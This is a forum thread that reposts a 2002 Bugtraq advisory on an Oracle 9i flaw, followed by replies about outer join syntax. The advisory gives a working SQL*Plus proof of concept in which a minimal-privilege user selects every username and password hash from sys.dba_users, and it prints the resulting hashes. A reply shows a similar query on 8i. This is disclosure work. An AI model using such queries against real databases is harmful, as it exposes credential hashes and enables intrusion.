Forum OpenACS Q&A: Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data

Collapse
1: Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data
Posted by Jade Rubick on 04/17/02 01:49 AM 
Date: Tue, 16 Apr 2002 16:24:45 +0100
From: Pete Finnigan pete@peterfinnigan.demon.co.uk
To: BUGTRAQ@securityfocus.com
Subject: ansi outer join syntax in Oracle allows access to any data

Hi all

I thought this list may be interested in this issue, apologies if its
known here already.

Oracle 9i includes the new ANSI outer join syntax. Oracle still supports
the old syntax but in the new syntax there is a serious security issue
that allows any user to view any data. 

here is an example:

SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2

(c) Copyright 2001 Oracle Corporation.  All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production

SQL> connect / as sysdba
Connected.
SQL> CREATE USER us1 IDENTIFIED BY us11;

User created.

SQL> Grant Create Session to us1;

Grant succeeded.

SQL> connect us1/us11;
Connected.
SQL> select a.username, a.password
  2  from sys.dba_users a left outer join sys.dba_users b on
  3  b.username = a.username
  4  ;
USERNAME                       PASSWORD
------------------------------ ------------------------------
SYS                            D4C5016086B2DC6A
SYSTEM                         D4DF7931AB130E37
DBSNMP                         E066D214D5421CCC
AURORA$JIS$UTILITY$            INVALID_ENCRYPTED_PASSWORD
OSE$HTTP$ADMIN                 INVALID_ENCRYPTED_PASSWORD
AURORA$ORB$UNAUTHENTICATED     INVALID_ENCRYPTED_PASSWORD
SCOTT                          F894844C34402B67
US1                            491AB9AB94D8A9EF
OUTLN                          4A3BA55E08595C81
ORDSYS                         7EFA02EC7EA6B86F
OLAPSVR                        AF52CFD036E8F425

USERNAME                       PASSWORD
------------------------------ ------------------------------
OLAPSYS                        3FB8EF9DB538647C
ORDPLUGINS                     88A2B2C183431F00
MDSYS                          72979A94BAD2AF80
CTXSYS                         71E687F036AD56E5
WKSYS                          69ED49EE1851900D
OLAPDBA                        1AF71599EDACFB00
QS_CBADM                       7C632AFB71F8D305
QS_ADM                         991CDDAD5C5C32CA
QS                             8B09C6075BDF2DC4
QS_WS                          24ACF617DD7D8F2F
HR                             6399F3B38EDF3288

USERNAME                       PASSWORD
------------------------------ ------------------------------
OE                             9C30855E7E0CB02D
PM                             72E382A52E89575A
SH                             9793B3777CD3BD1A
QS_ES                          E6A6FA4BB042E3C2
QS_OS                          FF09F3EB14AE5C26
RMAN                           E7B5D92911C831E1
QS_CB                          CF9CFACF5AE24964
QS_CS                          91A00922D8C0F146

30 rows selected.

SQL> 

This shows that a user with the barest of privileges, i.e. CREATE
SESSION can actually see data in the data dictionary that should not be
seen. In this example we can select the list of usernames and their
hashes.

I wanted to bring this issue to the security community as its doing the
rounds on the oracle server newsgroup. Oracle are already aware of this
as there is a bug to cover it number 2121935. Its marked as fixed in 9.2
and will not be back ported to earlier versions of Oracle. I could not
find this on the oracle security alerts site or on the bug traq database
so here it is.

Best regards

Pete Finnigan
www.pentest-limited.com

-- 
This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the system manager at admin@pentest-limited.com
--
Pete Finnigan
IT Security Consultant
PenTest Limited

Office  01565 830 990
Fax     01565 830 889
Mobile  07974 087 885

pete.finnigan@pentest-limited.com

www.pentest-limited.com
Collapse
2: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Jade Rubick on 04/17/02 01:51 AM 
Date: Tue, 16 Apr 2002 16:34:00 -0400
From: Charles J Wertz wertzcj@buffnet.net
To: Pete Finnigan pete@peterfinnigan.demon.co.uk, BUGTRAQ@securityfocus.com
Cc: wertzcj@buffnet.net
Subject: Re: ansi outer join syntax in Oracle allows access to any data

You don't need 9i or ansi syntax.

Connected to:
Oracle8i Enterprise Edition Release 8.1.6.0.0 - Production
With the Partitioning option
JServer Release 8.1.6.0.0 - Production

SQL> set serveroutput on size 1000000
SQL> sta users
SQL> select username, user_id, password from sys.dba_users
   2  /

......................
USERNAME                          USER_ID PASSWORD
------------------------------ ---------- ------------------------------
GABRMJ21                              206 A08F7F24DCD35845
ABDUSM62                              204 25F6BFBE9888CB23
CLARVL18                              205 E45523E8504F938E
SYMEJM94                              195 BF1A81C928566EEE
COSAL75                               118 4EDA8C950487B16F
CONNTS37                              117 B3EB3D464F64E317
ANASD51                               111 AC5DE6711420E91E
FEDEJB07                              224 5111DAC3006F6D81
DELLJM28                              223 FC707A68849F1C3F
CARTKR33                              222 2002A82D0DB2DB19
BRANLD12                              221 9857842415FF35B5
...

I haven't checked this out.
I take it these are encrypted passwords ??

cjw
Collapse
3: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Sebastiano Pilla on 04/17/02 10:05 AM
It seems that somebody at Oracle hates the ANSI join syntax as much as me 😊 But please disregard the second quoted reply by Charles Wertz, it's completely asinine (no offense to Jade, of course).
Collapse
4: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Jade Rubick on 04/19/02 01:08 AM 
From: Pete Finnigan pete@peterfinnigan.demon.co.uk
To: BUGTRAQ@securityfocus.com
Subject: Re: ansi outer join syntax in Oracle allows access to any data

Hi

Oracle have now posted an advisory to their security alerts page on 17
april. 

The URL is http://otn.oracle.com/deploy/security/pdf/sql_joins_alert.pdf

cheers

Pete Finnigan
Collapse
5: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Don Baccus on 04/19/02 06:22 AM
<i>It seems that somebody at Oracle hates the ANSI join syntax as much as me 😊</i>
<p>In total disregard of the security implications of this horrible (and inexcusable) Oracle bug (which would never make it past a PG beta) ...
<p>I have to ask "why do you hate the ANSI join syntax"?
<p>The Oracle and various other hacks on "=" mask the fact that query qualification (boolean operators applied after a join) are confused with with join operators.  Among other things the query engine needs to figure out which proto-boolean operations are joins and which are boolean qualifiers applied after all joins.
<p>There's no syntactic help for the reader, human (human's *are* important) or machine.
<p>Now ... the ANSI solution is wordy but the principle - that joins be placed in the syntactic portion of a query that denotes which tables are being queried on (and a join is nothing more than a specification of a new table synthesized from two others) - is sound.
<p>The wordiness is a problem, though...I will concede that.  Specifying joins in the table-specifying "from" clause does allow joins that you can't express in Oracle's "= ... (+)" hack or Sybase's "=* ..." hack ... as much as you hate it, you can write joins in it that you can't write in Oracle's old syntax.
Collapse
6: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Sebastiano Pilla on 04/19/02 09:55 AM
I have to ask "why do you hate the ANSI join syntax"?
[...] The wordiness is a problem, though...I will concede that. Specifying joins in the table-specifying "from" clause does allow joins that you can't express in Oracle's "= ... (+)" hack or Sybase's "=* ..." hack ... as much as you hate it, you can write joins in it that you can't write in Oracle's old syntax.
I find the ANSI join syntax not only wordy, but clumsy and inelegant. And that's the precise reason for me using the term "hate": it's a personal preference thing. Or perhaps there's some slowness in my brain cells to adapt to new things...

About the limitations of "=(+)", are you referring to these? If not, could you expand on them?

Thanks.
Collapse
7: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Roberto Mello on 04/19/02 04:47 PM
Tom Lane (of PostgreSQL fame) posted to the pgsql-sql list (an excellent list btw) about this a while ago, when somebody referred to SQL Server/Oracle syntax as "nice syntatical sugar" and asked if PG would implement it or something like that. I'll paste a bit of his response here (favorite quote: "some of us view it as 'nonstandard and broken"), the entire post can be read at http://groups.google.com/groups?q=sugar+group:comp.databases.postgresql.sql&hl=en&selm=10530.996689163%40sss.pgh.pa.us&rnum=1. 

> outer join syntax.  MS has some nice syntactical sugar with the *=/=*
> operators that Postgres dosen't seem to support.

Some of us view it as "nonstandard and broken", not as "nice syntactical
sugar" 😉.

> I'm just not grasping how one would accomplish the same using the SQL-92
> syntax.

SELECT ...
FROM ASSESSMENT_MEDICAL a
 LEFT JOIN AGENCIES ag ON a.Agency_creating = ag.Agency_id
 LEFT JOIN YESNO_TYPES02 y1 ON a.Health_prob = y1.Yesno_code
 LEFT JOIN ...
WHERE a.inactive != 'Y' AND a.Client_id = $Edit_Client_id;

While this is more typing, it's clear which conditions determine
joinability and which are filters on the overall result, which is a
critical semantic issue that the Oracle/MS syntax fails miserably on.
For example, suppose I want to add a constraint like y1.col3 = 'foo'.
Now, if there are no rows meeting that constraint for a given value of
a.Health_prob = y1.Yesno_code, does that mean I want to have
ASSESSMENT_MEDICAL rows with that Health_prob show up with nulls
substituted for the y1 fields?  Or does it mean that I don't want to see
those rows at all?  AFAICS there's no way to make that distinction with
the Oracle/MS approach.  With the standard syntax, you put the
additional constraint in ON in one case, and in WHERE in the other case.
...
Collapse
8: Response to Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data (response to 1)
Posted by Don Baccus on 04/19/02 09:56 PM
Yes, Sebastiano, that's a complete list of restrictions, I believe.  In particular the last one (restrictions on outer joins when more than one table's being joined) has bitten me more than once.

I'm not fond of the silent errors that can arise from not using (+) consistently.

And of course the old Oracle syntax doesn't support full outer joins.

Nor does it support outer joins using complex expressions rather than simple columns.

We don't use the last two in OpenACS but once we move to Oracle 9i we might (hard to use something that doesn't exist in your supported version, and thus far we support 8i not 9i).